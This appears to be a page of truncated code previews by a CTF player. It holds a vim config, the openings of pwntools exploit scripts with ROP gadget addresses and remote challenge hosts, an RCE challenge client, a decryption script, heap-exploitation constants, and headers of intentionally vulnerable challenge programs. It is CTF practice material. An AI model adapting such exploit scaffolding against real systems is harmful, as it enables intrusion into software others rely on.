HarDToBelieve

syntax on
set ts=4 sw=4
set number

nnoremap <C-J> <C-W><C-J>
nnoremap <C-K> <C-W><C-K>
nnoremap <C-L> <C-W><C-L>
nnoremap <C-H> <C-W><C-H>

set splitbelow

HarDToBelieve

from pwn import *
# import roputils
import time, re
# from libformatstr import *

context(arch='amd64', os='linux')
# context.log_level = 'DEBUG'
path = "./BookStore"
libc_path = "./libc-2.27.so"
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"

HarDToBelieve

import requests
import sys
from subprocess import Popen, PIPE
import urllib
from base64 import b64decode, b64encode
from pprint import pprint

url = 'http://xxx.hardtobelieve.me/'   # Sorry I have to hide my challenge server, because this is a RCE challenge :D
proxy = {'http': 'http://localhost:8080'}
s = requests.Session()

HarDToBelieve

import string

data = 'ffc309e61f2ac3df48d3b9b64fd1720bfb95b460a1235f5d91c4f92ce90dfa516e1b8c49225b808560a9d853980662dc26984e'
cipher = data[:].decode('hex')

key = [0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8

HarDToBelieve

from pwn import *

p = remote("winner.svattt.org", 31335)
raw_input('waiting')

#p.sendline('\xe1')
# la 1 thi number[0x31] duoc tang them 

numberAddr = 0xffffd2b8
retAddr = 0xffffd23c

HarDToBelieve

from pwn import *
import re
import time

bin = ELF('./c0ffee')
data_section = 0x804B060
read_plt = bin.symbols['read']
popret = 0x08048885
poppoppopret = 0x08048d50 
readintro = 0x80487B0

HarDToBelieve

#include <stdio.h>
#include <stdlib.h>

#define chunksize 0x8
#define fakesize 0x20

#define SIZE_SZ (sizeof(size_t))
#define MALLOC_ALIGN_MASK (2*SIZE_SZ - 1)
#define MIN_CHUNK_SIZE 24 /* 64 bit system */
//#define MIN_CHUNK_SIZE 12 /* 32 bit system */

HarDToBelieve

// Linux 32bit: gcc -pwn2.c
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <stdlib.h>

#define maxlen 20

struct {
	int admin;

HarDToBelieve

// gcc pwn1.c
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <stdlib.h>

#define maxlen 20

int main () {
	srand(time(0));